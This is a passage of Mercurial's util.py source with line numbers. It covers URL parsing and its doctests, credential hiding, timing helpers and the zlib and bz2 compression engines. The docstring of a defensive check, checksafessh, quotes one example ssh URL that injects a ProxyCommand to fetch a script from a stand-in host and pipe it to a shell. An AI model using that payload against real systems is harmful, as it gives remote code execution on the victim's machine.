2651 2663 >>> url('ssh://[::1]:2200//home/joe/repo')
2652 2664 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2653 2665 >>> url('file:///home/joe/repo')
2654 2666 <url scheme: 'file', path: '/home/joe/repo'>
2655 2667 >>> url('file:///c:/temp/foo/')
2656 2668 <url scheme: 'file', path: 'c:/temp/foo/'>
2657 2669 >>> url('bundle:foo')
2658 2670 <url scheme: 'bundle', path: 'foo'>
2659 2671 >>> url('bundle://../foo')
2660 2672 <url scheme: 'bundle', path: '../foo'>
2661 2673 >>> url(r'c:\foo\bar')
2662 2674 <url path: 'c:\\foo\\bar'>
2663 2675 >>> url(r'\\blah\blah\blah')
2664 2676 <url path: '\\\\blah\\blah\\blah'>
2665 2677 >>> url(r'\\blah\blah\blah#baz')
2666 2678 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2667 2679 >>> url(r'file:///C:\users\me')
2668 2680 <url scheme: 'file', path: 'C:\\users\\me'>
2669 2681
2670 2682 Authentication credentials:
2671 2683
2672 2684 >>> url('ssh://joe:xyz@x/repo')
2673 2685 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2674 2686 >>> url('ssh://joe@x/repo')
2675 2687 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2676 2688
2677 2689 Query strings and fragments:
2678 2690
2679 2691 >>> url('http://host/a?b#c')
2680 2692 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2681 2693 >>> url('http://host/a?b#c', parsequery=False, parsefragment=False)
2682 2694 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2683 2695
2684 2696 Empty path:
2685 2697
2686 2698 >>> url('')
2687 2699 <url path: ''>
2688 2700 >>> url('#a')
2689 2701 <url path: '', fragment: 'a'>
2690 2702 >>> url('http://host/')
2691 2703 <url scheme: 'http', host: 'host', path: ''>
2692 2704 >>> url('http://host/#a')
2693 2705 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2694 2706
2695 2707 Only scheme:
2696 2708
2697 2709 >>> url('http:')
2698 2710 <url scheme: 'http'>
2699 2711 """
2700 2712
2701 2713 _safechars = "!~*'()+"
2702 2714 _safepchars = "/!~*'()+:\\"
2703 2715 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2704 2716
2705 2717 def __init__(self, path, parsequery=True, parsefragment=True):
2706 2718 # We slowly chomp away at path until we have only the path left
2707 2719 self.scheme = self.user = self.passwd = self.host = None
2708 2720 self.port = self.path = self.query = self.fragment = None
2709 2721 self._localpath = True
2710 2722 self._hostport = ''
2711 2723 self._origpath = path
2712 2724
2713 2725 if parsefragment and '#' in path:
2714 2726 path, self.fragment = path.split('#', 1)
2715 2727
2716 2728 # special case for Windows drive letters and UNC paths
2717 2729 if hasdriveletter(path) or path.startswith('\\\\'):
2718 2730 self.path = path
2719 2731 return
2720 2732
2721 2733 # For compatibility reasons, we can't handle bundle paths as
2722 2734 # normal URLS
2723 2735 if path.startswith('bundle:'):
2724 2736 self.scheme = 'bundle'
2725 2737 path = path[7:]
2726 2738 if path.startswith('//'):
2727 2739 path = path[2:]
2728 2740 self.path = path
2729 2741 return
2730 2742
2731 2743 if self._matchscheme(path):
2732 2744 parts = path.split(':', 1)
2733 2745 if parts[0]:
2734 2746 self.scheme, path = parts
2735 2747 self._localpath = False
2736 2748
2737 2749 if not path:
2738 2750 path = None
2739 2751 if self._localpath:
2740 2752 self.path = ''
2741 2753 return
2742 2754 else:
2743 2755 if self._localpath:
2744 2756 self.path = path
2745 2757 return
2746 2758
2747 2759 if parsequery and '?' in path:
2748 2760 path, self.query = path.split('?', 1)
2749 2761 if not path:
2750 2762 path = None
2751 2763 if not self.query:
2752 2764 self.query = None
2753 2765
2754 2766 # // is required to specify a host/authority
2755 2767 if path and path.startswith('//'):
2756 2768 parts = path[2:].split('/', 1)
2757 2769 if len(parts) > 1:
2758 2770 self.host, path = parts
2759 2771 else:
2760 2772 self.host = parts[0]
2761 2773 path = None
2762 2774 if not self.host:
2763 2775 self.host = None
2764 2776 # path of file:///d is /d
2765 2777 # path of file:///d:/ is d:/, not /d:/
2766 2778 if path and not hasdriveletter(path):
2767 2779 path = '/' + path
2768 2780
2769 2781 if self.host and '@' in self.host:
2770 2782 self.user, self.host = self.host.rsplit('@', 1)
2771 2783 if ':' in self.user:
2772 2784 self.user, self.passwd = self.user.split(':', 1)
2773 2785 if not self.host:
2774 2786 self.host = None
2775 2787
2776 2788 # Don't split on colons in IPv6 addresses without ports
2777 2789 if (self.host and ':' in self.host and
2778 2790 not (self.host.startswith('[') and self.host.endswith(']'))):
2779 2791 self._hostport = self.host
2780 2792 self.host, self.port = self.host.rsplit(':', 1)
2781 2793 if not self.host:
2782 2794 self.host = None
2783 2795
2784 2796 if (self.host and self.scheme == 'file' and
2785 2797 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2786 2798 raise Abort(_('file:// URLs can only refer to localhost'))
2787 2799
2788 2800 self.path = path
2789 2801
2790 2802 # leave the query string escaped
2791 2803 for a in ('user', 'passwd', 'host', 'port',
2792 2804 'path', 'fragment'):
2793 2805 v = getattr(self, a)
2794 2806 if v is not None:
2795 2807 setattr(self, a, urlreq.unquote(v))
2796 2808
2797 2809 def __repr__(self):
2798 2810 attrs = []
2799 2811 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2800 2812 'query', 'fragment'):
2801 2813 v = getattr(self, a)
2802 2814 if v is not None:
2803 2815 attrs.append('%s: %r' % (a, v))
2804 2816 return '<url %s>' % ', '.join(attrs)
2805 2817
2806 2818 def __bytes__(self):
2807 2819 r"""Join the URL's components back into a URL string.
2808 2820
2809 2821 Examples:
2810 2822
2811 2823 >>> str(url('http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2812 2824 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2813 2825 >>> str(url('http://user:pw@host:80/?foo=bar&baz=42'))
2814 2826 'http://user:pw@host:80/?foo=bar&baz=42'
2815 2827 >>> str(url('http://user:pw@host:80/?foo=bar%3dbaz'))
2816 2828 'http://user:pw@host:80/?foo=bar%3dbaz'
2817 2829 >>> str(url('ssh://user:pw@[::1]:2200//home/joe#'))
2818 2830 'ssh://user:pw@[::1]:2200//home/joe#'
2819 2831 >>> str(url('http://localhost:80//'))
2820 2832 'http://localhost:80//'
2821 2833 >>> str(url('http://localhost:80/'))
2822 2834 'http://localhost:80/'
2823 2835 >>> str(url('http://localhost:80'))
2824 2836 'http://localhost:80/'
2825 2837 >>> str(url('bundle:foo'))
2826 2838 'bundle:foo'
2827 2839 >>> str(url('bundle://../foo'))
2828 2840 'bundle:../foo'
2829 2841 >>> str(url('path'))
2830 2842 'path'
2831 2843 >>> str(url('file:///tmp/foo/bar'))
2832 2844 'file:///tmp/foo/bar'
2833 2845 >>> str(url('file:///c:/tmp/foo/bar'))
2834 2846 'file:///c:/tmp/foo/bar'
2835 2847 >>> print url(r'bundle:foo\bar')
2836 2848 bundle:foo\bar
2837 2849 >>> print url(r'file:///D:\data\hg')
2838 2850 file:///D:\data\hg
2839 2851 """
2840 2852 if self._localpath:
2841 2853 s = self.path
2842 2854 if self.scheme == 'bundle':
2843 2855 s = 'bundle:' + s
2844 2856 if self.fragment:
2845 2857 s += '#' + self.fragment
2846 2858 return s
2847 2859
2848 2860 s = self.scheme + ':'
2849 2861 if self.user or self.passwd or self.host:
2850 2862 s += '//'
2851 2863 elif self.scheme and (not self.path or self.path.startswith('/')
2852 2864 or hasdriveletter(self.path)):
2853 2865 s += '//'
2854 2866 if hasdriveletter(self.path):
2855 2867 s += '/'
2856 2868 if self.user:
2857 2869 s += urlreq.quote(self.user, safe=self._safechars)
2858 2870 if self.passwd:
2859 2871 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2860 2872 if self.user or self.passwd:
2861 2873 s += '@'
2862 2874 if self.host:
2863 2875 if not (self.host.startswith('[') and self.host.endswith(']')):
2864 2876 s += urlreq.quote(self.host)
2865 2877 else:
2866 2878 s += self.host
2867 2879 if self.port:
2868 2880 s += ':' + urlreq.quote(self.port)
2869 2881 if self.host:
2870 2882 s += '/'
2871 2883 if self.path:
2872 2884 # TODO: similar to the query string, we should not unescape the
2873 2885 # path when we store it, the path might contain '%2f' = '/',
2874 2886 # which we should *not* escape.
2875 2887 s += urlreq.quote(self.path, safe=self._safepchars)
2876 2888 if self.query:
2877 2889 # we store the query in escaped form.
2878 2890 s += '?' + self.query
2879 2891 if self.fragment is not None:
2880 2892 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2881 2893 return s
2882 2894
2883 2895 __str__ = encoding.strmethod(__bytes__)
2884 2896
2885 2897 def authinfo(self):
2886 2898 user, passwd = self.user, self.passwd
2887 2899 try:
2888 2900 self.user, self.passwd = None, None
2889 2901 s = bytes(self)
2890 2902 finally:
2891 2903 self.user, self.passwd = user, passwd
2892 2904 if not self.user:
2893 2905 return (s, None)
2894 2906 # authinfo[1] is passed to urllib2 password manager, and its
2895 2907 # URIs must not contain credentials. The host is passed in the
2896 2908 # URIs list because Python < 2.4.3 uses only that to search for
2897 2909 # a password.
2898 2910 return (s, (None, (s, self.host),
2899 2911 self.user, self.passwd or ''))
2900 2912
2901 2913 def isabs(self):
2902 2914 if self.scheme and self.scheme != 'file':
2903 2915 return True # remote URL
2904 2916 if hasdriveletter(self.path):
2905 2917 return True # absolute for our purposes - can't be joined()
2906 2918 if self.path.startswith(br'\\'):
2907 2919 return True # Windows UNC path
2908 2920 if self.path.startswith('/'):
2909 2921 return True # POSIX-style
2910 2922 return False
2911 2923
2912 2924 def localpath(self):
2913 2925 if self.scheme == 'file' or self.scheme == 'bundle':
2914 2926 path = self.path or '/'
2915 2927 # For Windows, we need to promote hosts containing drive
2916 2928 # letters to paths with drive letters.
2917 2929 if hasdriveletter(self._hostport):
2918 2930 path = self._hostport + '/' + self.path
2919 2931 elif (self.host is not None and self.path
2920 2932 and not hasdriveletter(path)):
2921 2933 path = '/' + path
2922 2934 return path
2923 2935 return self._origpath
2924 2936
2925 2937 def islocal(self):
2926 2938 '''whether localpath will return something that posixfile can open'''
2927 2939 return (not self.scheme or self.scheme == 'file'
2928 2940 or self.scheme == 'bundle')
2929 2941
2930 2942 def hasscheme(path):
2931 2943 return bool(url(path).scheme)
2932 2944
2933 2945 def hasdriveletter(path):
2934 2946 return path and path[1:2] == ':' and path[0:1].isalpha()
2935 2947
2936 2948 def urllocalpath(path):
2937 2949 return url(path, parsequery=False, parsefragment=False).localpath()
2938 2950
2939 2951 def checksafessh(path):
2940 2952 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2941 2953
2942 2954 This is a sanity check for ssh urls. ssh will parse the first item as
2943 2955 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2944 2956 Let's prevent these potentially exploited urls entirely and warn the
2945 2957 user.
2946 2958
2947 2959 Raises an error.Abort when the url is unsafe.
2948 2960 """
2949 2961 path = urlreq.unquote(path)
2950 2962 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2951 2963 raise error.Abort(_('potentially unsafe url: %r') %
2952 2964 (path,))
2953 2965
2954 2966 def hidepassword(u):
2955 2967 '''hide user credential in a url string'''
2956 2968 u = url(u)
2957 2969 if u.passwd:
2958 2970 u.passwd = '***'
2959 2971 return bytes(u)
2960 2972
2961 2973 def removeauth(u):
2962 2974 '''remove all authentication information from a url string'''
2963 2975 u = url(u)
2964 2976 u.user = u.passwd = None
2965 2977 return str(u)
2966 2978
2967 2979 timecount = unitcountfn(
2968 2980 (1, 1e3, _('%.0f s')),
2969 2981 (100, 1, _('%.1f s')),
2970 2982 (10, 1, _('%.2f s')),
2971 2983 (1, 1, _('%.3f s')),
2972 2984 (100, 0.001, _('%.1f ms')),
2973 2985 (10, 0.001, _('%.2f ms')),
2974 2986 (1, 0.001, _('%.3f ms')),
2975 2987 (100, 0.000001, _('%.1f us')),
2976 2988 (10, 0.000001, _('%.2f us')),
2977 2989 (1, 0.000001, _('%.3f us')),
2978 2990 (100, 0.000000001, _('%.1f ns')),
2979 2991 (10, 0.000000001, _('%.2f ns')),
2980 2992 (1, 0.000000001, _('%.3f ns')),
2981 2993 )
2982 2994
2983 2995 _timenesting = [0]
2984 2996
2985 2997 def timed(func):
2986 2998 '''Report the execution time of a function call to stderr.
2987 2999
2988 3000 During development, use as a decorator when you need to measure
2989 3001 the cost of a function, e.g. as follows:
2990 3002
2991 3003 @util.timed
2992 3004 def foo(a, b, c):
2993 3005 pass
2994 3006 '''
2995 3007
2996 3008 def wrapper(*args, **kwargs):
2997 3009 start = timer()
2998 3010 indent = 2
2999 3011 _timenesting[0] += indent
3000 3012 try:
3001 3013 return func(*args, **kwargs)
3002 3014 finally:
3003 3015 elapsed = timer() - start
3004 3016 _timenesting[0] -= indent
3005 3017 stderr.write('%s%s: %s\n' %
3006 3018 (' ' * _timenesting[0], func.__name__,
3007 3019 timecount(elapsed)))
3008 3020 return wrapper
3009 3021
3010 3022 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
3011 3023 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
3012 3024
3013 3025 def sizetoint(s):
3014 3026 '''Convert a space specifier to a byte count.
3015 3027
3016 3028 >>> sizetoint('30')
3017 3029 30
3018 3030 >>> sizetoint('2.2kb')
3019 3031 2252
3020 3032 >>> sizetoint('6M')
3021 3033 6291456
3022 3034 '''
3023 3035 t = s.strip().lower()
3024 3036 try:
3025 3037 for k, u in _sizeunits:
3026 3038 if t.endswith(k):
3027 3039 return int(float(t[:-len(k)]) * u)
3028 3040 return int(t)
3029 3041 except ValueError:
3030 3042 raise error.ParseError(_("couldn't parse size: %s") % s)
3031 3043
3032 3044 class hooks(object):
3033 3045 '''A collection of hook functions that can be used to extend a
3034 3046 function's behavior. Hooks are called in lexicographic order,
3035 3047 based on the names of their sources.'''
3036 3048
3037 3049 def __init__(self):
3038 3050 self._hooks = []
3039 3051
3040 3052 def add(self, source, hook):
3041 3053 self._hooks.append((source, hook))
3042 3054
3043 3055 def __call__(self, *args):
3044 3056 self._hooks.sort(key=lambda x: x[0])
3045 3057 results = []
3046 3058 for source, hook in self._hooks:
3047 3059 results.append(hook(*args))
3048 3060 return results
3049 3061
3050 3062 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%s', depth=0):
3051 3063 '''Yields lines for a nicely formatted stacktrace.
3052 3064 Skips the 'skip' last entries, then return the last 'depth' entries.
3053 3065 Each file+linenumber is formatted according to fileline.
3054 3066 Each line is formatted according to line.
3055 3067 If line is None, it yields:
3056 3068 length of longest filepath+line number,
3057 3069 filepath+linenumber,
3058 3070 function
3059 3071
3060 3072 Not be used in production code but very convenient while developing.
3061 3073 '''
3062 3074 entries = [(fileline % (fn, ln), func)
3063 3075 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
3064 3076 ][-depth:]
3065 3077 if entries:
3066 3078 fnmax = max(len(entry[0]) for entry in entries)
3067 3079 for fnln, func in entries:
3068 3080 if line is None:
3069 3081 yield (fnmax, fnln, func)
3070 3082 else:
3071 3083 yield line % (fnmax, fnln, func)
3072 3084
3073 3085 def debugstacktrace(msg='stacktrace', skip=0,
3074 3086 f=stderr, otherf=stdout, depth=0):
3075 3087 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3076 3088 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3077 3089 By default it will flush stdout first.
3078 3090 It can be used everywhere and intentionally does not require an ui object.
3079 3091 Not be used in production code but very convenient while developing.
3080 3092 '''
3081 3093 if otherf:
3082 3094 otherf.flush()
3083 3095 f.write('%s at:\n' % msg.rstrip())
3084 3096 for line in getstackframes(skip + 1, depth=depth):
3085 3097 f.write(line)
3086 3098 f.flush()
3087 3099
3088 3100 class dirs(object):
3089 3101 '''a multiset of directory names from a dirstate or manifest'''
3090 3102
3091 3103 def __init__(self, map, skip=None):
3092 3104 self._dirs = {}
3093 3105 addpath = self.addpath
3094 3106 if safehasattr(map, 'iteritems') and skip is not None:
3095 3107 for f, s in map.iteritems():
3096 3108 if s[0] != skip:
3097 3109 addpath(f)
3098 3110 else:
3099 3111 for f in map:
3100 3112 addpath(f)
3101 3113
3102 3114 def addpath(self, path):
3103 3115 dirs = self._dirs
3104 3116 for base in finddirs(path):
3105 3117 if base in dirs:
3106 3118 dirs[base] += 1
3107 3119 return
3108 3120 dirs[base] = 1
3109 3121
3110 3122 def delpath(self, path):
3111 3123 dirs = self._dirs
3112 3124 for base in finddirs(path):
3113 3125 if dirs[base] > 1:
3114 3126 dirs[base] -= 1
3115 3127 return
3116 3128 del dirs[base]
3117 3129
3118 3130 def __iter__(self):
3119 3131 return iter(self._dirs)
3120 3132
3121 3133 def __contains__(self, d):
3122 3134 return d in self._dirs
3123 3135
3124 3136 if safehasattr(parsers, 'dirs'):
3125 3137 dirs = parsers.dirs
3126 3138
3127 3139 def finddirs(path):
3128 3140 pos = path.rfind('/')
3129 3141 while pos != -1:
3130 3142 yield path[:pos]
3131 3143 pos = path.rfind('/', 0, pos)
3132 3144
3133 3145 # compression code
3134 3146
3135 3147 SERVERROLE = 'server'
3136 3148 CLIENTROLE = 'client'
3137 3149
3138 3150 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3139 3151 (u'name', u'serverpriority',
3140 3152 u'clientpriority'))
3141 3153
3142 3154 class compressormanager(object):
3143 3155 """Holds registrations of various compression engines.
3144 3156
3145 3157 This class essentially abstracts the differences between compression
3146 3158 engines to allow new compression formats to be added easily, possibly from
3147 3159 extensions.
3148 3160
3149 3161 Compressors are registered against the global instance by calling its
3150 3162 ``register()`` method.
3151 3163 """
3152 3164 def __init__(self):
3153 3165 self._engines = {}
3154 3166 # Bundle spec human name to engine name.
3155 3167 self._bundlenames = {}
3156 3168 # Internal bundle identifier to engine name.
3157 3169 self._bundletypes = {}
3158 3170 # Revlog header to engine name.
3159 3171 self._revlogheaders = {}
3160 3172 # Wire proto identifier to engine name.
3161 3173 self._wiretypes = {}
3162 3174
3163 3175 def __getitem__(self, key):
3164 3176 return self._engines[key]
3165 3177
3166 3178 def __contains__(self, key):
3167 3179 return key in self._engines
3168 3180
3169 3181 def __iter__(self):
3170 3182 return iter(self._engines.keys())
3171 3183
3172 3184 def register(self, engine):
3173 3185 """Register a compression engine with the manager.
3174 3186
3175 3187 The argument must be a ``compressionengine`` instance.
3176 3188 """
3177 3189 if not isinstance(engine, compressionengine):
3178 3190 raise ValueError(_('argument must be a compressionengine'))
3179 3191
3180 3192 name = engine.name()
3181 3193
3182 3194 if name in self._engines:
3183 3195 raise error.Abort(_('compression engine %s already registered') %
3184 3196 name)
3185 3197
3186 3198 bundleinfo = engine.bundletype()
3187 3199 if bundleinfo:
3188 3200 bundlename, bundletype = bundleinfo
3189 3201
3190 3202 if bundlename in self._bundlenames:
3191 3203 raise error.Abort(_('bundle name %s already registered') %
3192 3204 bundlename)
3193 3205 if bundletype in self._bundletypes:
3194 3206 raise error.Abort(_('bundle type %s already registered by %s') %
3195 3207 (bundletype, self._bundletypes[bundletype]))
3196 3208
3197 3209 # No external facing name declared.
3198 3210 if bundlename:
3199 3211 self._bundlenames[bundlename] = name
3200 3212
3201 3213 self._bundletypes[bundletype] = name
3202 3214
3203 3215 wiresupport = engine.wireprotosupport()
3204 3216 if wiresupport:
3205 3217 wiretype = wiresupport.name
3206 3218 if wiretype in self._wiretypes:
3207 3219 raise error.Abort(_('wire protocol compression %s already '
3208 3220 'registered by %s') %
3209 3221 (wiretype, self._wiretypes[wiretype]))
3210 3222
3211 3223 self._wiretypes[wiretype] = name
3212 3224
3213 3225 revlogheader = engine.revlogheader()
3214 3226 if revlogheader and revlogheader in self._revlogheaders:
3215 3227 raise error.Abort(_('revlog header %s already registered by %s') %
3216 3228 (revlogheader, self._revlogheaders[revlogheader]))
3217 3229
3218 3230 if revlogheader:
3219 3231 self._revlogheaders[revlogheader] = name
3220 3232
3221 3233 self._engines[name] = engine
3222 3234
3223 3235 @property
3224 3236 def supportedbundlenames(self):
3225 3237 return set(self._bundlenames.keys())
3226 3238
3227 3239 @property
3228 3240 def supportedbundletypes(self):
3229 3241 return set(self._bundletypes.keys())
3230 3242
3231 3243 def forbundlename(self, bundlename):
3232 3244 """Obtain a compression engine registered to a bundle name.
3233 3245
3234 3246 Will raise KeyError if the bundle type isn't registered.
3235 3247
3236 3248 Will abort if the engine is known but not available.
3237 3249 """
3238 3250 engine = self._engines[self._bundlenames[bundlename]]
3239 3251 if not engine.available():
3240 3252 raise error.Abort(_('compression engine %s could not be loaded') %
3241 3253 engine.name())
3242 3254 return engine
3243 3255
3244 3256 def forbundletype(self, bundletype):
3245 3257 """Obtain a compression engine registered to a bundle type.
3246 3258
3247 3259 Will raise KeyError if the bundle type isn't registered.
3248 3260
3249 3261 Will abort if the engine is known but not available.
3250 3262 """
3251 3263 engine = self._engines[self._bundletypes[bundletype]]
3252 3264 if not engine.available():
3253 3265 raise error.Abort(_('compression engine %s could not be loaded') %
3254 3266 engine.name())
3255 3267 return engine
3256 3268
3257 3269 def supportedwireengines(self, role, onlyavailable=True):
3258 3270 """Obtain compression engines that support the wire protocol.
3259 3271
3260 3272 Returns a list of engines in prioritized order, most desired first.
3261 3273
3262 3274 If ``onlyavailable`` is set, filter out engines that can't be
3263 3275 loaded.
3264 3276 """
3265 3277 assert role in (SERVERROLE, CLIENTROLE)
3266 3278
3267 3279 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3268 3280
3269 3281 engines = [self._engines[e] for e in self._wiretypes.values()]
3270 3282 if onlyavailable:
3271 3283 engines = [e for e in engines if e.available()]
3272 3284
3273 3285 def getkey(e):
3274 3286 # Sort first by priority, highest first. In case of tie, sort
3275 3287 # alphabetically. This is arbitrary, but ensures output is
3276 3288 # stable.
3277 3289 w = e.wireprotosupport()
3278 3290 return -1 * getattr(w, attr), w.name
3279 3291
3280 3292 return list(sorted(engines, key=getkey))
3281 3293
3282 3294 def forwiretype(self, wiretype):
3283 3295 engine = self._engines[self._wiretypes[wiretype]]
3284 3296 if not engine.available():
3285 3297 raise error.Abort(_('compression engine %s could not be loaded') %
3286 3298 engine.name())
3287 3299 return engine
3288 3300
3289 3301 def forrevlogheader(self, header):
3290 3302 """Obtain a compression engine registered to a revlog header.
3291 3303
3292 3304 Will raise KeyError if the revlog header value isn't registered.
3293 3305 """
3294 3306 return self._engines[self._revlogheaders[header]]
3295 3307
3296 3308 compengines = compressormanager()
3297 3309
3298 3310 class compressionengine(object):
3299 3311 """Base class for compression engines.
3300 3312
3301 3313 Compression engines must implement the interface defined by this class.
3302 3314 """
3303 3315 def name(self):
3304 3316 """Returns the name of the compression engine.
3305 3317
3306 3318 This is the key the engine is registered under.
3307 3319
3308 3320 This method must be implemented.
3309 3321 """
3310 3322 raise NotImplementedError()
3311 3323
3312 3324 def available(self):
3313 3325 """Whether the compression engine is available.
3314 3326
3315 3327 The intent of this method is to allow optional compression engines
3316 3328 that may not be available in all installations (such as engines relying
3317 3329 on C extensions that may not be present).
3318 3330 """
3319 3331 return True
3320 3332
3321 3333 def bundletype(self):
3322 3334 """Describes bundle identifiers for this engine.
3323 3335
3324 3336 If this compression engine isn't supported for bundles, returns None.
3325 3337
3326 3338 If this engine can be used for bundles, returns a 2-tuple of strings of
3327 3339 the user-facing "bundle spec" compression name and an internal
3328 3340 identifier used to denote the compression format within bundles. To
3329 3341 exclude the name from external usage, set the first element to ``None``.
3330 3342
3331 3343 If bundle compression is supported, the class must also implement
3332 3344 ``compressstream`` and `decompressorreader``.
3333 3345
3334 3346 The docstring of this method is used in the help system to tell users
3335 3347 about this engine.
3336 3348 """
3337 3349 return None
3338 3350
3339 3351 def wireprotosupport(self):
3340 3352 """Declare support for this compression format on the wire protocol.
3341 3353
3342 3354 If this compression engine isn't supported for compressing wire
3343 3355 protocol payloads, returns None.
3344 3356
3345 3357 Otherwise, returns ``compenginewireprotosupport`` with the following
3346 3358 fields:
3347 3359
3348 3360 * String format identifier
3349 3361 * Integer priority for the server
3350 3362 * Integer priority for the client
3351 3363
3352 3364 The integer priorities are used to order the advertisement of format
3353 3365 support by server and client. The highest integer is advertised
3354 3366 first. Integers with non-positive values aren't advertised.
3355 3367
3356 3368 The priority values are somewhat arbitrary and only used for default
3357 3369 ordering. The relative order can be changed via config options.
3358 3370
3359 3371 If wire protocol compression is supported, the class must also implement
3360 3372 ``compressstream`` and ``decompressorreader``.
3361 3373 """
3362 3374 return None
3363 3375
3364 3376 def revlogheader(self):
3365 3377 """Header added to revlog chunks that identifies this engine.
3366 3378
3367 3379 If this engine can be used to compress revlogs, this method should
3368 3380 return the bytes used to identify chunks compressed with this engine.
3369 3381 Else, the method should return ``None`` to indicate it does not
3370 3382 participate in revlog compression.
3371 3383 """
3372 3384 return None
3373 3385
3374 3386 def compressstream(self, it, opts=None):
3375 3387 """Compress an iterator of chunks.
3376 3388
3377 3389 The method receives an iterator (ideally a generator) of chunks of
3378 3390 bytes to be compressed. It returns an iterator (ideally a generator)
3379 3391 of bytes of chunks representing the compressed output.
3380 3392
3381 3393 Optionally accepts an argument defining how to perform compression.
3382 3394 Each engine treats this argument differently.
3383 3395 """
3384 3396 raise NotImplementedError()
3385 3397
3386 3398 def decompressorreader(self, fh):
3387 3399 """Perform decompression on a file object.
3388 3400
3389 3401 Argument is an object with a ``read(size)`` method that returns
3390 3402 compressed data. Return value is an object with a ``read(size)`` that
3391 3403 returns uncompressed data.
3392 3404 """
3393 3405 raise NotImplementedError()
3394 3406
3395 3407 def revlogcompressor(self, opts=None):
3396 3408 """Obtain an object that can be used to compress revlog entries.
3397 3409
3398 3410 The object has a ``compress(data)`` method that compresses binary
3399 3411 data. This method returns compressed binary data or ``None`` if
3400 3412 the data could not be compressed (too small, not compressible, etc).
3401 3413 The returned data should have a header uniquely identifying this
3402 3414 compression format so decompression can be routed to this engine.
3403 3415 This header should be identified by the ``revlogheader()`` return
3404 3416 value.
3405 3417
3406 3418 The object has a ``decompress(data)`` method that decompresses
3407 3419 data. The method will only be called if ``data`` begins with
3408 3420 ``revlogheader()``. The method should return the raw, uncompressed
3409 3421 data or raise a ``RevlogError``.
3410 3422
3411 3423 The object is reusable but is not thread safe.
3412 3424 """
3413 3425 raise NotImplementedError()
3414 3426
3415 3427 class _zlibengine(compressionengine):
3416 3428 def name(self):
3417 3429 return 'zlib'
3418 3430
3419 3431 def bundletype(self):
3420 3432 """zlib compression using the DEFLATE algorithm.
3421 3433
3422 3434 All Mercurial clients should support this format. The compression
3423 3435 algorithm strikes a reasonable balance between compression ratio
3424 3436 and size.
3425 3437 """
3426 3438 return 'gzip', 'GZ'
3427 3439
3428 3440 def wireprotosupport(self):
3429 3441 return compewireprotosupport('zlib', 20, 20)
3430 3442
3431 3443 def revlogheader(self):
3432 3444 return 'x'
3433 3445
3434 3446 def compressstream(self, it, opts=None):
3435 3447 opts = opts or {}
3436 3448
3437 3449 z = zlib.compressobj(opts.get('level', -1))
3438 3450 for chunk in it:
3439 3451 data = z.compress(chunk)
3440 3452 # Not all calls to compress emit data. It is cheaper to inspect
3441 3453 # here than to feed empty chunks through generator.
3442 3454 if data:
3443 3455 yield data
3444 3456
3445 3457 yield z.flush()
3446 3458
3447 3459 def decompressorreader(self, fh):
3448 3460 def gen():
3449 3461 d = zlib.decompressobj()
3450 3462 for chunk in filechunkiter(fh):
3451 3463 while chunk:
3452 3464 # Limit output size to limit memory.
3453 3465 yield d.decompress(chunk, 2 ** 18)
3454 3466 chunk = d.unconsumed_tail
3455 3467
3456 3468 return chunkbuffer(gen())
3457 3469
3458 3470 class zlibrevlogcompressor(object):
3459 3471 def compress(self, data):
3460 3472 insize = len(data)
3461 3473 # Caller handles empty input case.
3462 3474 assert insize > 0
3463 3475
3464 3476 if insize < 44:
3465 3477 return None
3466 3478
3467 3479 elif insize <= 1000000:
3468 3480 compressed = zlib.compress(data)
3469 3481 if len(compressed) < insize:
3470 3482 return compressed
3471 3483 return None
3472 3484
3473 3485 # zlib makes an internal copy of the input buffer, doubling
3474 3486 # memory usage for large inputs. So do streaming compression
3475 3487 # on large inputs.
3476 3488 else:
3477 3489 z = zlib.compressobj()
3478 3490 parts = []
3479 3491 pos = 0
3480 3492 while pos < insize:
3481 3493 pos2 = pos + 2**20
3482 3494 parts.append(z.compress(data[pos:pos2]))
3483 3495 pos = pos2
3484 3496 parts.append(z.flush())
3485 3497
3486 3498 if sum(map(len, parts)) < insize:
3487 3499 return ''.join(parts)
3488 3500 return None
3489 3501
3490 3502 def decompress(self, data):
3491 3503 try:
3492 3504 return zlib.decompress(data)
3493 3505 except zlib.error as e:
3494 3506 raise error.RevlogError(_('revlog decompress error: %s') %
3495 3507 str(e))
3496 3508
3497 3509 def revlogcompressor(self, opts=None):
3498 3510 return self.zlibrevlogcompressor()
3499 3511
3500 3512 compengines.register(_zlibengine())
3501 3513
3502 3514 class _bz2engine(compressionengine):
3503 3515 def name(self):
3504 3516 return 'bz2'
3505 3517
3506 3518 def bundletype(self):
3507 3519 """An algorithm that produces smaller bundles than ``gzip``.
3508 3520
3509 3521 All Mercurial clients should support this format.
3510 3522
3511 3523 This engine will likely produce smaller bundles than ``gzip`` but
3512 3524 will be significantly slower, both during compression and
3513 3525 decompression.
3514 3526
3515 3527 If available, the ``zstd`` engine can yield similar or better
3516 3528 compression at much higher speeds.
3517 3529 """
3518 3530 return 'bzip2', 'BZ'
3519 3531
3520 3532 # We declare a protocol name but don't advertise by default because
3521 3533 # it is slow.
3522 3534 def wireprotosupport(self):
3523 3535 return compewireprotosupport('bzip2', 0, 0)
3524 3536
